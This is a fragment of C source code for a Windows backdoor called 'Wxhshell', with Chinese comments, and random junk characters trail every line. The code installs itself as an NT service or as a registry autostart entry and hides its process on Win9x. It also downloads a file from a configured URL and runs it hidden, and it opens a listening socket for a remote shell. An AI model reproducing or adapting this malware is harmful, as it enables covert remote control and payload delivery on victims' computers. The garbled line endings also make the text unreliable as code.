ULONG UniqueProcessId; U![$7k>,pr
ULONG InheritedFromUniqueProcessId; M/xm6
} PROCESS_BASIC_INFORMATION; WcXNc`x
J_XkQR[Y
PROCNTQSIP NtQueryInformationProcess; B1I{@\z0G
@yQ1F>
t
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xU{0rM"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AU}|o0Ur
2A*,9S|Y
HANDLE hProcess; 4QPHT#e qX
PROCESS_BASIC_INFORMATION pbi; >#;_Ebl@
2w~Vb0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #;1RStb:zj
if(NULL == hInst ) return 0; <JXHg,Q
&{# 6Z
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5yJ~ q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J?E!\V&U
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^%6f%]_
QYj 4D
if (!NtQueryInformationProcess) return 0; sVnq|[ /
W<O/LHKHdn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <Vh5`-J
if(!hProcess) return 0; <Nloh+n=
vy7?]}MvV
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wsR\qq
9N2.:<so
CloseHandle(hProcess); <
uV@/fn<
eH*i_g'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3qV~C{S
if(hProcess==NULL) return 0; "WPWMQ+
cdI"=B+C\
HMODULE hMod; c>r~pY~$
char procName[255]; YXF^4||j.c
unsigned long cbNeeded; uVX,[%*P
_S*QIbO
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hr&UD| E=
"cOBEhn%l
CloseHandle(hProcess); vZ6R>f
P $r!u%W
if(strstr(procName,"services")) return 1; // 以服务启动 3+C;zDKa
VVuNU"-
return 0; // 注册表启动 f*m^x7
} I;<__
{q&`B
// 主模块 6aAN8wO;b
int StartWxhshell(LPSTR lpCmdLine) $fPiR
{ 3EA_-?
SOCKET wsl; C.}ho.}
r
BOOL val=TRUE; !QqVJ a{j
int port=0; od !s5f!
struct sockaddr_in door; QY\'Uu{
`$JOFLa
if(wscfg.ws_autoins) Install(); D-m%eP.
ePSD#kY5
port=atoi(lpCmdLine); |\ C.il7
,W]}mqV%.'
if(port<=0) port=wscfg.ws_port; Sl
\EPKZD
FELW?Q?k
WSADATA data; h-m0Ro?6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h,/3}
a94nB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ep
l1xfr
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O
"Aeg|
door.sin_family = AF_INET; -O@/S9]S)
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6hFs{P7
door.sin_port = htons(port); "`pg+t&
mndEB!b
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O`~L*h_
closesocket(wsl); xKT;1(Mk
return 1;
ILHn~d IC
} g,RhUt9
;>]dwsA*P
if(listen(wsl,2) == INVALID_SOCKET) { $M|vIw{#
closesocket(wsl); E*v+@rv
return 1; lZ,$lZg9Z
} y7z ,I
Wxhshell(wsl); LG?b]'#
WSACleanup(); %7Gq#rq
n*~#]%4
return 0; v=IcVHuf
h}+Gz={Q^
} a^&RV5o
LsK
fCB}
// 以NT服务方式启动 m
.En!~t
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "nNT9
K|
{ (d[JMO^@8
DWORD status = 0; E/d\ebX|
DWORD specificError = 0xfffffff; Hjy4tA7,l
xfqu=z8X
serviceStatus.dwServiceType = SERVICE_WIN32; CZCVC (/u
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2\Yv;J+;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; | fn%!d`2
serviceStatus.dwWin32ExitCode = 0; U71A#OD^U
serviceStatus.dwServiceSpecificExitCode = 0; $K1)2WG
serviceStatus.dwCheckPoint = 0; L$ju~0jl)%
serviceStatus.dwWaitHint = 0; (g tOYEqx
MR* %lZpB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Q|Y*yI
if (hServiceStatusHandle==0) return; woU3WS0
r6+IJxUd
status = GetLastError(); 8PGuZw<
if (status!=NO_ERROR) ;s-fYS6(>{
{ !Ome;gS)
serviceStatus.dwCurrentState = SERVICE_STOPPED; y8|}bd<Sr
serviceStatus.dwCheckPoint = 0; iz`ys.Fu
serviceStatus.dwWaitHint = 0; Lo9
\[4FP
serviceStatus.dwWin32ExitCode = status; h*mKS -TC
serviceStatus.dwServiceSpecificExitCode = specificError; z9zo5Xc=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 49B6|!&I
return; tkdyR1-
} uF T5Z
c+<gc:#jy
serviceStatus.dwCurrentState = SERVICE_RUNNING; _b[Pk;8}j;
serviceStatus.dwCheckPoint = 0; (=s%>lW|
serviceStatus.dwWaitHint = 0;
%S%0/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?zK>[L
} g^k=z:n3,
B=i%Z_r]w
// 处理NT服务事件,比如:启动、停止 ^Ov+n1,)
VOID WINAPI NTServiceHandler(DWORD fdwControl) +AOpB L'
{
t`x_@pr
switch(fdwControl) JaJyH%+$!
{ []H0{a2{<
case SERVICE_CONTROL_STOP: z|N*Gs>,
serviceStatus.dwWin32ExitCode = 0; CDFkH
serviceStatus.dwCurrentState = SERVICE_STOPPED; p?+;[!:
serviceStatus.dwCheckPoint = 0; }An;)!>(nF
serviceStatus.dwWaitHint = 0; Olq`mlsK
{ liH1r1M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i#Fe`Z ~J
} ^aL> /'Y#|
return; 95-%>?4
case SERVICE_CONTROL_PAUSE: bj+foNvu\
serviceStatus.dwCurrentState = SERVICE_PAUSED; *18J$
break; 8j@ADfZ9
case SERVICE_CONTROL_CONTINUE: mp0!S
serviceStatus.dwCurrentState = SERVICE_RUNNING; HK.Si]:
break; 7+J<N@.d
case SERVICE_CONTROL_INTERROGATE: zXeBUbVi
break; MAG/7T5
}; UeSPwY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bzX/Zts
} elb}]
+
qo}u(pOj|
// 标准应用程序主函数 5{M$m&$1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8t&'Yk
{ +
oNrc.
A:,V)
// 获取操作系统版本 A@I3:V
OsIsNt=GetOsVer(); j!?bE3r~
GetModuleFileName(NULL,ExeFile,MAX_PATH); g7]g0*gxXW
El3Ayd3
// 从命令行安装 i &,1
if(strpbrk(lpCmdLine,"iI")) Install(); z~yLc{M
ZF;s`K)
// 下载执行文件 7, :l\t
if(wscfg.ws_downexe) { ?B:],aztf
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4yR X{Bl|
WinExec(wscfg.ws_filenam,SW_HIDE); 8)&J oPN
} !Y]%U @4}
7e<\11uI]a
if(!OsIsNt) { v7D3aWoe
// 如果时win9x,隐藏进程并且设置为注册表启动 KKJ a?e`C
HideProc(); ~ouRDO
StartWxhshell(lpCmdLine); lK y4Nry9
} U{-[lpd
else c}#(,<8X
if(StartFromService()) @-}!o&G0
// 以服务方式启动 Z+! 96LR
StartServiceCtrlDispatcher(DispatchTable); -<gQ>`(0
else x!9bvQT
// 普通方式启动 ut9R]01:
StartWxhshell(lpCmdLine); Yk#$-"c/a
l)91v"vJ
return 0; VV=6v;u`
}